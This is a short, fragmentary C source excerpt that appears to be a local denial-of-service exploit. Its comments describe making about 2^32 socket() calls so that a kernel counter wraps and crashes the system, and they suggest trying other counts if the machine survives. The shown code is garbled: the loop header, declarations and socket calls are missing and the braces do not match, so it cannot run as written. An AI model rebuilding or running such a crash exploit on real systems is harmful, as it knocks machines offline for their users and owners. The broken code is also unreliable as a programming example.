 * If the app doesn't crash your system, try a different count (argv[1])
 * Execution takes a while because 2^32 socket() calls

#include <sys/socket.h>
int main(int argc, char *argv[]) {

        if ( i % ( 1 << 22 ) == 0 )
            printf("%i \n",i);
    }
    //Now make it wrap and crash:
    system("/bin/echo bye bye");
